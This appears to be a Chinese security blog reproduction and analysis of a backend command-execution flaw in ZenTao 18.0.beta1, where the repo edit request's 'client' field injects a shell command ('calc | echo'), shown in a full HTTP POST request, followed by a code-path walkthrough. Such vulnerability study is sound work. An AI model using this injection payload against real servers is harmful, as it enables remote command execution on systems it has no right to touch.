当前位置: 首页 > news >正文

禅道后台命令执行漏洞

漏洞简介

禅道是第一款国产的开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、 组织管理和事务管理于一体,是一款专业的研发项目管理软件,完整地覆盖了项目管理的核心流程。
禅道管理思想注重实效,功能完备丰富,操作简洁高效,界面美观大方,搜索功能强大,统计报表丰富多样,软件架构合理,扩展灵活,有完善的 API 可以调用。

禅道后台存在 RCE 漏洞,均存在于历史版本,对这些漏洞进行复现分析。

环境搭建

源码下载地址 https://dl.cnezsoft.com/zentao/18.0.beta1/ZenTaoPMS.18.0.beta1.php7.2_7.4.zip

利用 phpstudy 来进行环境的搭建

image

漏洞复现

登录后台创建 GitLab 类型的代码库

imageimage点击 DevOps 模块的设置选项,修改创建的代码库

imageimage点击保存并抓取数据包

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

修改参数 SCM 和 client SCM 修改为 Subversion​ client 修改为 calc | echo "

image触发了命令执行,执行了两次

image​​

漏洞分析

发现有一些分析文章中描述需要先创建一个代码仓库,也指出了创建代码仓库的原因,因为调用的是 edit 方法,所以要先 create

经过调试发现这是必须的,因为在没创建代码库时,执行 edit 方法,会提示跳转去创建代码库

module/repo/control.php#commonAction

image所以需要先创建代码库

module/repo/control.php#create

imagemodule/repo/model.php#create

image在创建代码库的时候有一个检查 Client 的操作 只有选择 Gitlab 才能不做客户端的检测操作,直接创建成功

module/repo/model.php#checkClient

image创建成功后执行编辑操作触发漏洞

POST /index.php?m=repo&f=edit&repoID=0 HTTP/1.1
Host: test.test
Content-Length: 36
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/index.php?m=repo&f=edit&repoID=1&objectID=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=bp9k0pcftu49b2ethm9f32hc5b; lang=zh-cn; device=desktop; theme=default; preExecutionID=1; moduleBrowseParam=0; productBrowseParam=0; executionTaskOrder=status%2Cid_desc; windowWidth=1440; windowHeight=722; tab=devops; repoBranch=master;XDEBUG_SESSION=PHPSTORM
Connection: closeSCM=Subversion&client= calc | echo "

module/repo/control.php#edit

imagemodule/repo/model.php#update

image

module/repo/model.php#checkConnection

image

image​​​

修复建议

更新至最新版本

http://www.lryc.cn/news/137589.html

相关文章:

  • 基于Spark+django的国漫推荐系统--计算机毕业设计项目
  • 向量数据库 Milvus:实现高效向量搜索的技术解析
  • 恒运资本:信创概念再度活跃,华是科技再创新高,南天信息等涨停
  • Synchronized锁升级
  • 记一个宏定义写法
  • 【数据结构】C语言实现栈(详细解读)
  • 3、Spring_容器执行
  • 五、pikachu之RCE
  • 最大不相交区间数量
  • Oracle给表空间添加容量
  • 2023年大数据与区块链国际会议 | EI、Scoups检索
  • 【洛谷算法题】P1000-超级玛丽游戏【入门1顺序结构】
  • ubuntu or kylinos软件安装错误的终极解决方案
  • 30分钟Python自动化从入门到实战(一)
  • FOC之SVPWM学习笔记
  • DSO 系列文章(3)——DSO后端正规方程构造与Schur消元
  • php 使用ES
  • 距离我成为炎帝的一次(比较近的一次)
  • Protobuf在IDEA中的插件安装教程
  • 中间件(上)
  • Python快速检验数据分布
  • uniapp微信小程序点击右上角菜单分享功能权限配置
  • 【OpenVINOSharp】在英特尔® 开发者套件爱克斯开发板使用OpenVinoSharp部署Yolov8模型
  • Django的模型层
  • idea 新建servlet 访问提示404 WebServlet注解找不到包 报错
  • 【EA-ISET协会】Elsevier|2区智慧农业类SCIEI, 进展顺,3个月左右录用~
  • Class类getName获取类名方法详细说明
  • 凉而不冷 柔而不弱 三菱重工海尔舒适风科技助您整夜安眠
  • YOLOv5基础知识入门(7)— NMS(非极大值抑制)原理解析
  • Gpt微信小程序搭建的前后端流程 - 后端基础框架的搭建(三)